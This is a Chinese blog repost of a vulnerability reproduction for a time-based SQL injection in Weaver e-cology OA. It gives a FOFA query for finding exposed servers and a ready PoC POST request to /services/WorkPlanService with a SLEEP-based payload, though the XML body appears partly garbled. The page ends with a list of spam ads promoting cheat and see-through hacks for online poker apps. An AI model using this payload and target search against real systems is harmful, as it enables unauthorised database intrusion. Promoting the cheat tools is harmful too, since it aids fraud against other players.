漏洞复现-F6-11泛微-E-Cology-SQL
创始人
2024-11-22 04:05:23
0次

本文来自无问社区，更多漏洞信息可前往查看icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/15575.html

0x01 产品简介

泛微协同管理应用平台e-cology是一套企业级大型协同管理平台

0x02 漏洞概述

该漏洞是由于泛微e-cology未对用户的输入进行有效的过滤，直接将其拼接进了SQL查询语句中，导致系统出现 SQL 注入漏洞。

影响范围：泛微E-Cology9 < 10.65.0

0x03 复现环境

FOFO:app="泛微-OA（e-cology）"

POC

延时5秒
payload：

POST /services/WorkPlanService HTTP/1.1 HOST:  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Content-Type: text/xml;charset=UTF-8 Connection: close                                          (SELECT 8544 FROM (SELECT(SLEEP(5-(IF(27=27,0,5)))))NZeo)                    22

效果图：
 

图片

上一篇：苹果8为什么字拉不上去

下一篇：常州网站推广_网站推广（SEO设置）

相关内容

热门资讯

黑科技辅助挂！wepoker数... 黑科技辅助挂！wepoker数据分析工具，德普之星怎么开辅助，一直真的有挂（有挂技术）1、实时德普之...
为切实保障！智星菠萝辅助，德普... 为切实保障！智星菠萝辅助，德普之星私人局辅助器，本来是真的有挂（有挂讲解）1、每一步都需要思考，不同...
昨日！hhpoker辅助器视频... 昨日！hhpoker辅助器视频，德普辅助软件，确实是有挂（有挂透明挂）1、点击下载安装，德普辅助软件...
据玩家消息！wepoker游戏... 据玩家消息！wepoker游戏下载，德普之星辅助器，好像存在有挂（有挂教学）该软件可以轻松地帮助玩家...
2026版攻略！佛手在线是不是... 2026版攻略！佛手在线是不是有挂，红龙poker辅助，果然是有挂（有挂助手）红龙poker辅助脚本...
2026版攻略！wepoker... 2026版攻略！wepoker亲友圈有用吗，德普之星透视辅助软件下载，一直是有挂（有挂规律）进入游戏...
第三方技巧！德普辅助app，德... 第三方技巧！德普辅助app，德扑之心免费透视，都是真的有挂（有挂分析）1、德扑之心免费透视破解器简单...
黑科技辅助挂！wepoker开... 黑科技辅助挂！wepoker开脚本视频，德扑之星透视软件免费入口官网，其实真的是有挂（真是有挂）1、...
连日来！wepoker私人局透... 连日来！wepoker私人局透视插件，德扑之星怎么开辅助，本来真的是有挂（有挂分享）1、首先打开德扑...
黑科技技巧！wpk透视辅助靠谱... 黑科技技巧！wpk透视辅助靠谱吗，德扑之心免费透视，果然是有挂（有挂工具）1、下载好德扑之心免费透视...